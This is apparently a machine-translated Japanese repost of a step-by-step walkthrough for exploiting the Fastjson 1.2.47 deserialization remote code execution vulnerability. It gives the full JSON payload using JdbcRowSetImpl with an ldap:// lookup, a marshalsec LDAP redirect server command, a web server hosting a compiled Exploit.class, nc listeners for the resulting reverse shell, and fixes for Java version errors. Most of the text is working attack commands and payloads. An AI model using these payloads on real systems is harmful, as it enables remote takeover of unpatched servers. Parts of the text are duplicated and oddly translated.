【回転】fastjson-1.2.47-RCE
3128 ワード
Fastjson<=1.2.47リモートコマンド実行脆弱性利用ツールおよびメソッド、およびピットポイントの回避
以下の操作はいずれもUbuntu 18で親測定可能であり、openjdkは8に切り替え、8のjavacを使用する必要がある.
1台のサーバでトラフィックを監視する準備
Payloadを送信し、IPをリスニングサーバIPに変更
リスナー・サーバにトラフィックがある場合は、次の手順に進みます.
marshalsec-0.0.3-SNAPSHOT-all.JArファイルとExploit.JAvaは同じディレクトリの下に置かれています
現在のディレクトリの下でLDAPサービスを実行し、IPを現在のサーバーのIPに変更する
現在のディレクトリの下でWebサービスを実行
変更JAvaのリバウンドIPとポート(リバウンドSHELLを受信するサーバIPとリスニングポートの準備)
Javacを使用してExploitをコンパイルします.JAva,Exploitを生成する.classファイル(注意:javacはターゲットサーバに近いほうがいいです.そうしないと、ターゲットサーバがclassファイルを解析できなくなり、エラーが発生します)
振り返ると、ディレクトリには3つのファイルがあるはずです.
サーバはLDAPとWebを開いています
ncはリバウンドしたSHELLを受信する準備をしています
IPをLDAPとWebサービスを実行しているサーバIPに変更
次にエラーがなければLDAPはリクエストRedirectをWebサービスに、FastjsonはExploitをダウンロードします.class、解析実行
あなたのLDAPサービスもWebサービスもリクエストレコードを受け取り、問題がなければncもリバウンドしたSHELLを受け取ります.
Javacバージョンとターゲットサーバの差が多すぎると、このようなエラーが報告されるため、1.8のjavacを使用してExploitをコンパイルする必要があります.java
LDAPを実行するサーバjavaバージョンが高すぎるとLDAPサービスを実行できなくなり、Listeningと表示されますが、FastjsonのJNDIがエラーを報告し、リソースが取得できないと表示されるのでjava 1.8(openjdk 8)を使用してLDAPサービスを実行します
ソースおよびツール:https://github.com/CaijiOrz/fastjson-1.2.47-RCE
転載先:https://www.cnblogs.com/sevck/p/11428010.html
以下の操作はいずれもUbuntu 18で親測定可能であり、openjdkは8に切り替え、8のjavacを使用する必要がある.
> java -version
openjdk versin "1.8.0_222"
> javac -version
javac 1.8.0_222
0 x 00脆弱性があると仮定する機能
POST /note/submit/
param={'id':29384,'content':'Hello','type':'string'}
0 x 01テスト外部接続
1台のサーバでトラフィックを監視する準備
nc -lvvp 7777
Payloadを送信し、IPをリスニングサーバIPに変更
POST /note/submit/
param={"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://ip:7777/Exploit","autoCommit":true}}}
リスナー・サーバにトラフィックがある場合は、次の手順に進みます.
0 x 02 LDAPサービスとWebサービスの準備
marshalsec-0.0.3-SNAPSHOT-all.JArファイルとExploit.JAvaは同じディレクトリの下に置かれています
現在のディレクトリの下でLDAPサービスを実行し、IPを現在のサーバーのIPに変更する
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://IP/#Exploit
現在のディレクトリの下でWebサービスを実行
python3 -m http.server 80 python -m SimpleHTTPServer 80
0 x 03 Exploitを変更してclassファイルにコンパイル
変更JAvaのリバウンドIPとポート(リバウンドSHELLを受信するサーバIPとリスニングポートの準備)
Javacを使用してExploitをコンパイルします.JAva,Exploitを生成する.classファイル(注意:javacはターゲットサーバに近いほうがいいです.そうしないと、ターゲットサーバがclassファイルを解析できなくなり、エラーが発生します)
javac Exploit.java
0 x 03準備
振り返ると、ディレクトリには3つのファイルがあるはずです.
marshalsec-0.0.3-SNAPSHOT-all.jar
Exploit.java
Exploit.class
サーバはLDAPとWebを開いています
LDAP Server:Listening on 0.0.0.0:1389
Web Server:Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
ncはリバウンドしたSHELLを受信する準備をしています
nc -lvvp 7777
0 x 04実行
IPをLDAPとWebサービスを実行しているサーバIPに変更
POST /note/submit
param={"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://ip:1389/Exploit","autoCommit":true}}}
次にエラーがなければLDAPはリクエストRedirectをWebサービスに、FastjsonはExploitをダウンロードします.class、解析実行
あなたのLDAPサービスもWebサービスもリクエストレコードを受け取り、問題がなければncもリバウンドしたSHELLを受け取ります.
0 x 05問題
Javacバージョンとターゲットサーバの差が多すぎると、このようなエラーが報告されるため、1.8のjavacを使用してExploitをコンパイルする必要があります.java
Caused by: java.lang.UnsupportedClassVersionError: Exploit has been compiled by a more recent version of the Java Runtime (class file version 55.0), this version of the Java Runtime only recognizes class file versions up to 52.0
LDAPを実行するサーバjavaバージョンが高すぎるとLDAPサービスを実行できなくなり、Listeningと表示されますが、FastjsonのJNDIがエラーを報告し、リソースが取得できないと表示されるのでjava 1.8(openjdk 8)を使用してLDAPサービスを実行します
ソースおよびツール:https://github.com/CaijiOrz/fastjson-1.2.47-RCE
転載先:https://www.cnblogs.com/sevck/p/11428010.html